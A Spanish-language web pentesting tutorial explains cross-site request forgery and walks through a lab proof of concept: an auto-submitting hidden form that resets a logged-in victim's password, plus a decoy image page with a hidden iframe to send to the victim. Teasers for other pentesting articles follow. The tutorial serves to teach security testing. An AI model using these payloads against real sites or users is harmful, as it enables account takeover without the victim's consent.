Artículo · Pentesting a Aplicaciones Web

Comprendiendo la Vulnerabilidad CSRF

Omar Jacobo Muñoz VelizOmar Jacobo Muñoz Veliz 4 min de lectura

Historia

En las veces que he utilizado alguna herramienta automatizada para detectar vulnerabilidades, encuentro en un 70 % vulnerabilidades de Cross Site Request Forgery (CSRF). Pero la primera pregunta que se nos viene a la cabeza es ¿Que es CSRF? CSRF o Falsificación de Peticiones en Sitios Cruzados es una vulnerabilidad que explota la confianza del usuario. Convencionalmente el CSRF utiliza a un usuario validado para a través de este introducir solicitudes "válidas" que modifiquen el comportamiento de la aplicación a favor del atacante.

En palabras simples, el atacante usa a la víctima para que sea ella misma la que realice la transacción dañina cuando la víctima se encuentra validada en el servidor y en la aplicación específica. El proceso es simple, muchos usuarios no finalizan correctamente (o no pueden hacerlo) sus sesiones en las aplicaciones bancarias o de otra índole que puedan ser afectadas por esta vulnerabilidad y las mantienen activas mientras navegan otros sitios, más aún en tiempos en que las pestañas de los navegadores son muy utilizadas, por tanto desde cualquier otra ventana en el navegador se pudiera inducir al usuario a pulsar un enlace con una orden a sitios en los que el usuario ha ya autenticado, para que el usuario ejecute sin saberlo la acción de ataque.

A continuación realizaremos una Prueba de Concepto sobre dicha vulnerabilidad.

 

Vulnerabilidad CSRF– Escenario de Pruebas

 

Acá tenemos un escenario muy común en sitios webs, podemos ver que en el sitio web estamos trabajando el usuario admin, por lo tanto podemos asumir que estamos dentro de una sesión, además nos encontramos en el recurso necesario para poder cambiar la contraseña. El problema de este recurso es que se solicita cambiar la contraseña, pero no se solicita la contraseña anterior para poder cambiar la contraseña. Automáticamente podemos deducir que se trata de una vulnerabilidad CSRF. Ya que un atacante con cualquier otro usuario podría capturar esta trama, enviarla a la víctima y de esta manera hacer que cambie su contraseña.

 

Ahora iniciaremos en la máquina atacante abriremos una sesión con un usuario malicioso para poder capturar la trama y enviársela a la víctima. Utilizaremos Burp Suite para poder capturar dicha trama.

 

Vulnerabilidad CSRF– Cuenta del Atacante

 

Ahora con Burp Suite capturaremos la trama del recurso “Cambiar Contraseña” para generar un documento HTML con las variables de la sesión POST y de esta manera poder enviárselo a la víctima.

 

Vulnerabilidad CSRF– Capturando la Trama del POST

 

Aquí tenemos la trama del POST de “Cambiar Contraseña”, (esto lo hacemos con la cuenta del atacante para poder obtener la trama) ahora crearemos un archivo HTML con una estructura con los datos capturados anteriormente. Crearemos un archivo llamado archivo.php el cual tendrá la trama del POST.

 

archivo.php

<html>
<body onload= "document.test.submit()">
<form action=" http://192.168.206.130/proyecto/vulnerabilities/csrf/change.php" name="test" method="POST">
<input type="hidden" name="password_new" value="test" />
<input type="hidden" name="password_conf" value="test" />
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>

Este archivo contiene todos los parámetros del POST. A continuación crearemos un archivo llamado imagen.php, el cual tendrá una imagen, la cual será enviada a la víctima, pero en realidad lo que hará el archivo por detrás, será llamar a archivo.php y de esta manera hacer que la víctima cambie su contraseña sin que se dé cuenta por la que nosotros definimos.

 
imagen.php

<html>
<body>
<iframe src="http://www.vulnweb.com/updateif.php" style="display:none"></iframe>
<img src="http://cdn.memegenerator.es/imagenes/memes/full/0/5/56863.jpg">
</body>
</html>

Luego de que creamos estos dos archivos, lo que debemos hacer es subirlo a nuestro servidor web atacante, en este caso a la dirección 192.168.206.128.


Luego una vez hecho esto, le enviamos el link a la víctima (http://192.168.206.128/imagen.php). Cabe mencionar que para que esto funcione SIEMPRE será necesario que la víctima tenga su sesión abierta, en caso contrario esto no funcionará.


Una vez enviado esto la víctima abrirá el link y le aparecerá lo siguiente:

 

Vulnerabilidad CSRF– Víctima abriendo el link con CSRF

 

Al abrir esto, la víctima solo verá la imagen, pero por detrás se logró realizar el cambio de contraseña de su cuenta. Finalmente  la víctima iniciar la sesión ahora con la cuenta respectiva.

 

Vulnerabilidad CSRF–  Probando Credenciales Con Password Cambiada

 

Vulnerabilidad CSRF–  Inicio de Sesión Exitoso.

Lo otro que hay que considerar para explotar la vulnerabilidad, es que debemos conocer el nombre de usuario de la víctima.

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Omar Jacobo Muñoz Veliz

Escrito por

Omar Jacobo Muñoz Veliz

Content at Backtrack Academy

Content Dev en backtrackacademy, auditor de seguridad informatica y desarrollador de software.

Sigue leyendo

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.

Evil Limiter
Pentesting a Aplicaciones Web

Evil Limiter

Erik Garcia

Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.